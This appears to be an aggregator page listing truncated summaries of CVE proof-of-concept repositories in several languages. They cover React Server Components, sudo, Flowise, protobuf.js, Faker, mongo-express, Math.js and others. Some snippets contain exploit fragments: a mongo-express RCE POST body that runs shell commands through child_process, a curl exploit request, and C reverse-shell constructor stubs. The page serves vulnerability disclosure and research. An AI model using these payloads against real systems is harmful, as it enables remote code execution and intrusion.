CVE-2025-55182

CVE-2025-55182 يحتوي هذا المستودع على نسخة PoC توضح CVE-2025-55182 ، وهي ثغرة أمنية حرجة في React Server Components RSC تتيح تنفيذ كود عشوائي دون مصادقة. الوصف تكمن الثغرة في كيفية قيام React Server Components بإلغاء تسلسل "Server Actions" من طلبات العملاء. على وجه التحديد، فشلت دالة requireModul...

sudoinjection

CVE-2025-32463: تصعيد الصلاحيات المحلية عبر حقن NSS باستخدام sudo -R ملخص يُظهر هذا الدليل PoC تصعيد الصلاحيات المحلية على أنظمة لينكس من خلال إساءة استخدام خيار sudo -R مع وحدة NSS مخصصة. يستهدف الثغرة CVE-2025-32463، والتي تنبع من المعالجة غير الآمنة لملف nsswitch.conf ومكتبات NSS المشتركة في...

CVE-2018-4121

CVE-2018-4121 - Preuve de concept d'exploitation RCE de sections Wasm de Safari par MWR Labs c 2018 Détails cette preuve de concept cible uniquement Safari 11.0.3 13604.5.6 sur macOS 10.13.3 17D47. compilez la charge utile de votre choix en tant que dylib avec un constructeur exécutez python...

CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 Aperçu protobuf.js npm: protobufjs versions ≤ 7.5.4 et ≤ 8.0.0 présentent une vulnérabilité d'exécution de code arbitraire via les noms de type dans le schéma protobuf. Le module @protobufjs/codegen...

CVE-2026-85610

OpenPanel before version 2.3.0 is vulnerable to Remote Code Execution via chart formula expressions. The root cause is improper validation of these expressions, which allows authenticated project members with read access to recover the native JavaScript Function constructor through mathjs matrix ...

CVE-2025-55182

CVE-2025-55182 यदि आप वास्तविक स्पष्टीकरण ढूंढ रहे हैं, तो msanft/CVE-2025-55182 में एक अच्छा स्पष्टीकरण है एक कार्यशील PoC के साथ। यह रिपॉजिटरी केवल कुछ चीजें शामिल करता है जो मैंने आज़माईं, जिनसे दिलचस्प कुछ हद तक परिणाम मिले। ./thing.py में अब एक कार्यशील PoC है, जिसका अधिकांश भाग...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1: يطبع فقط root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: شل عكسي root@kitploit: include include include include char serverip=""; uint32t...

CVE-2025-59528-POC

CVE-2025-59528 - تنفيذ التعليمات البرمجية عن بعد في FlowiseAI CustomMCP CVSS 10.0 حرج | RCE أعمى | FlowiseAI Flowise = 2.2.7-patch.1 و 3.0.6 نظرة عامة ثغرة حرجة لتنفيذ التعليمات البرمجية عن بعد في عقدة CustomMCP من FlowiseAI Flowise. تمرر الدالة convertToValidJSONString الإدخال المقدم من المستخدم...

CVE-2025-59528

CVE-2025-59528 – Nœud CustomMCP de Flowise RCE PoC Aperçu Ce dépôt contient une preuve de concept démontrant CVE-2025-59528 dans Flowise v3.0.5 La vulnérabilité existe dans le nœud customMCP, où l'entrée mcpServerConfig fournie par l'utilisateur est traitée d'une manière qui conduit à l'exécution...

GHSA-QXC2-J82W-R537 Faker: helpers.fake exploitable into arbritary code execution

Summary faker.helpers.fake can be tricked into arbritary code execution. Details fakeEval.resolveProperty resolves properties on functions itself instead of resolving the nested function first. This can be addressed by recursively calling resolveProperty instead of accessing the property after on...

EUVD-2026-56923

Faker: helpers.fake exploitable into arbritary code execution...

CVE-2018-6574

CVE-2018-6574 पुनरुत्पादन के चरण: 1. एक .c फ़ाइल बनाएँ जिसमें दुर्भावनापूर्ण कमांड revshell हो: root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. इसे GCC का उपयोग करके संकलित करें। आपको इसे लक्ष्य के समान आर्किटेक्चर और OS पर संकलित करना होगा...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise est une interface utilisateur par glisser-déposer permettant de construire un flux de modèle de langage de grande taille personnalisé. Dans la version 3.0.5, Flowise est vulnérable à l'exécution de code à distance. Le nœud CustomMCP permet aux utilisateurs de saisir de...

CVE-2019-10758

CVE-2019-10758 mongo-express रिमोट कोड निष्पादन, रिवर्स शेल कोड निम्नलिखित है: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2025-55182

CVE-2025-55182 यह रिपॉजिटरी CVE-2025-55182 का एक PoC पुनरुत्पादन है, जो React सर्वर कंपोनेंट्स RSC में एक महत्वपूर्ण सुरक्षा भेद्यता है जो अप्रमाणित मनमाना कोड निष्पादन की अनुमति देती है। विवरण यह भेद्यता React सर्वर कंपोनेंट्स द्वारा क्लाइंट अनुरोधों से 'सर्वर एक्शन' को डीसीरियलाइज़ करने के तरीक...

CVE-2019-10758

CVE-2019-10758 PoC सेटअप root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL शोषण root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP रिमोट कोड निष्पादन PoC CVE-2025-59528 को लक्षित करने वाला Flowise संस्करण...

CVE-2026-40897

CVE-2026-40897 Math.js एक्सप्रेशन पार्सर में रिमोट कोड एक्सेक्यूशन ★ CVE-2026-40897 Math.js में रिमोट कोड एक्सेक्यूशन PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 अवलोकन CVE-2026-40897 Math.js के एक्सप्रेशन पार्सर में सैंडबॉक्स बायपास जो रिमोट कोड...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 दो कमजोरियों के लिए शोषण श्रृंखला जो Flowise = 3.0.5 को प्रभावित करती हैं। कमजोरियाँ CVE-2025-58434 — अप्रमाणित खाता अधिग्रहण फ़ॉरगॉट-पासवर्ड एंडपॉइंट प्रमाणीकरण की आवश्यकता के बिना API प्रतिक्रिया में एक वैध पासवर्ड रीसेट टोकन लौटाता है। एक हमलावर जो एक वैध ईमेल प...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: वह Deserialization बग जिसने Web को तोड़ दिया ⚡ React2Shell, CVE-2025-55182, RCE भेद्यता: React Server Components में असुरक्षित deserialization दोष का एक गंभीर विश्लेषण जो डिफ़ॉल्ट React/Next.js सेटअपों में अप्रमाणित रिमोट कोड निष्पादन को सक्षम बनाता है। ⏩ TL;DR...